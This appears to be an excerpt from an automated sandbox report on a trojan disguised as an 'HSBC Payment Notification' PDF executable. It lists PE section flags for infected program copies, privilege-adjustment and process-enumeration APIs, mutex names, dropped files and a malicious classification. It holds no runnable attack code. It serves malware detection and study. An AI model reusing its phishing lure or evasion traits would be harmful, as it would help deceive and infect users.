Source: armsvc.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVClient.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: chrome_proxy.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: crashreporter.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleCrashHandler.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleCrashHandler64.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdate.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateBroker.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: default-browser-agent.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateComRegisterShell64.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: firefox.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateCore.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateOnDemand.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: minidump-analyzer.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pingsender.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: plugin-container.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: private_browsing.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: updater.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Au3Info.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe0.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe0.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msdtc.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msiexec.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: PerceptionSimulationService.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: perfhost.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jabswitch.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java-rmi.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe0.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javacpl.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe0.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe0.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jjs.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jp2launcher.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: DiagnosticsHub.StandardCollector.Service.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Locator.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MsSense.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SensorDataService.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: snmptrap.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Spectrum.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssh-agent.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: keytool.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: kinit.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: klist.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ktab.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: orbd.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pack200.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: policytool.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmid.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmiregistry.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: servertool.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: TieringEngineService.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AgentService.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: vds.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: VSSVC.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wbengine.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: WmiApSrv.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wmpnetwk.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SearchIndexer.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssvagent.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: tnameserv.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: unpack200.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ie_to_edge_stub.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: cookie_exporter.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: identity_helper.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: setup.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedgewebview2.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_proxy.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.4.dr	Static PE information: Section: .rsrc ZLIB complexity 0.9989003576744956
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.4.dr	Static PE information: Section: .rsrc ZLIB complexity 0.9989003576744956

Source: 0.2.HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe.3e70000.2.raw.unpack, UltraSpeed.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe.3e70000.2.raw.unpack, COVIDPickers.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: AdobeCollabSync.exe.4.dr

Binary string: @com.adobe.accp.review.v1\??\UNC\\\\Device\Mup\\Device\LanmanRedirector\\Device\WebDavRedirector\\Device\WinDfs\\Device\NetWareRedirector\\Device\nwrdr\bisLoggingEnabled

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winEXE@20/165@24/13

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_0046A06A GetLastError,FormatMessageW,

0_2_0046A06A

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_004581CB AdjustTokenPrivileges,CloseHandle,		0_2_004581CB
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_004587E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_004587E1

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_0046B333 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_0046B333

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_0047EE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_0047EE0D

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_0046C397 CoInitialize,CoCreateInstance,CoUninitialize,

0_2_0046C397

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_00404E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00404E89

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

File created: C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

File created: C:\Users\user\AppData\Roaming\9624e934681120d9.bin

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Mutant created: \BaseNamedObjects\Global\Multiarch.m0yv-9624e934681120d99ea72c54-b
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-9624e934681120d9-inf
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-9624e934681120d99e7986a9-b

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

File created: C:\Users\user~1\AppData\Local\Temp\aut7315.tmp

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: AdobeCollabSync.exe.4.dr	Binary or memory string: SELECT content_item_relations.src_content_item_id, branches.download_state, content_items.creation_id,branches.content_item_id,branches.record_created, branches.modified, content_items.asset_id, content_items.type, content_items.content_item_type, content_items.removed_from_server, content_items.pending_local_delete, content_item_revisions.cloud_etag, content_item_revisions.updated, content_item_revisions.local_etag, content_item_revisions.request_id, content_item_revisions.content_name, content_item_resources.resource_cloud_etag , content_item_resources.resource_local_etag , resource_revisions.rel_to_content_item , resource_revisions.resource_type, resource_revisions.committed, resource_content.resource_content, (select 1 from branches where branch_name = 'conflict' AND content_item_id = :id) as is_conflicted,(SELECT 1 FROM branches JOIN content_items ON(content_items.creation_id = branches.content_item_id) WHERE( branches.app_id = :appId AND branches.branch_name = 'current' AND branches.content_item_id = :id AND (( content_items.pending_local_delete = 1 AND content_items.removed_from_server = 0) OR branches.content_item_revision_id not in( SELECT branches.content_item_revision_id FROM branches WHERE( branches.app_id = :appId AND branches.branch_name = 'base' AND branches.content_item_id = :id))))) as is_sync_pending, (SELECT resource_content.resource_content FROM branches JOIN content_items ON (branches.content_item_id = content_items.creation_id) JOIN content_item_resources ON (branches.content_item_revision_id = content_item_resources.content_item_revision_id) JOIN resource_revisions ON (content_item_resources.resource_revision_id = resource_revisions.revision_id) JOIN resource_content ON (resource_revisions.hash = resource_content.resource_content_id) WHERE( branches.content_item_id = :id AND branches.branch_name = 'error' AND branches.app_id = :appId)) as error_payload FROM branches JOIN content_items ON (branches.content_item_id = content_items.creation_id) JOIN content_item_revisions ON (branches.content_item_revision_id = content_item_revisions.content_item_revision_id) JOIN content_item_resources ON (branches.content_item_revision
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: UPDATE branches SET content_item_revision_id = :contentItemRevisionId, modified = :modified, download_state = :downloadState WHERE( content_item_id = :contentItemId AND branch_name = :branchName AND app_id = :appId);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS resource_content ( resource_content_id TEXT PRIMARY KEY NOT NULL, resource_content TEXT NOT NULL);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: INSERT INTO content_items( creation_id, asset_id, type, content_item_type, created, removed_from_server, pending_local_delete) VALUES( :creationId, :assetId, :type, :contentItemType, :created, :removedFromServer, :pendingLocalDelete);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: SELECT pending_request_id, request_type, content_item_id, context, pending_request_created, request_status, message, status_code, device_mapping_id FROM pending_requests WHERE( request_type = :requestType);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: INSERT OR REPLACE INTO branches( content_item_id, content_item_revision_id, branch_name, app_id, is_transient, record_created, modified, download_state) VALUES( :contentItemId, :contentItemRevisionId, :branchName, :appId, :isTransient, :recordCreated, :modified, :downloadState);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: UPDATE content_items SET pending_local_delete = :pendingLocalDelete WHERE( creation_id = :creationId);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: INSERT OR REPLACE INTO content_item_relations( src_content_item_id, target_content_item_id, rel) VALUES( :srcContentItemId, :targetContentItemId, :rel);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: INSERT INTO resource_revisions( revision_id, rel_to_content_item, resource_type, media_type, locator, committed, hashType, hash, storageSize, width, height) VALUES( :revisionId, :relToContentItem, :resourceType, :mediaType, :locator_var, :committed_var, :hashType_var, :hash_var, :storageSize_var, :width_var, :height_var);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS branches ( content_item_id TEXT NOT NULL, content_item_revision_id TEXT NOT NULL, branch_name TEXT NOT NULL, app_id TEXT NOT NULL, is_transient INTEGER DEFAULT 0 NOT NULL, record_created TIMESTAMP NOT NULL, modified TIMESTAMP NOT NULL, download_state TEXT DEFAULT NULL, PRIMARY KEY (content_item_id, branch_name, app_id));
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS content_item_resources ( content_item_revision_id TEXT NOT NULL, resource_revision_id TEXT NOT NULL, resource_id TEXT DEFAULT NULL, resource_cloud_etag TEXT DEFAULT NULL, resource_cloud_version_id TEXT DEFAULT NULL, resource_local_etag TEXT DEFAULT NULL, resource_local_version_id TEXT DEFAULT NULL, PRIMARY KEY (content_item_revision_id, resource_revision_id));
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: INSERT INTO device_mappings( device_mapping_id, content_item_id, collection_id, content_item_type, include_rel_types, include_depth, branch, TTL, Priority, app_info) VALUES( :deviceMappingId, :contentItemId, :collectionId, :contentItemType, :includeRelTypes, :includeDepth, :branch, :TTL, :priority, :appInfo);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: INSERT INTO content_item_resources( content_item_revision_id, resource_revision_id) VALUES( :contentItemRevisionId, :resourceRevisionId);
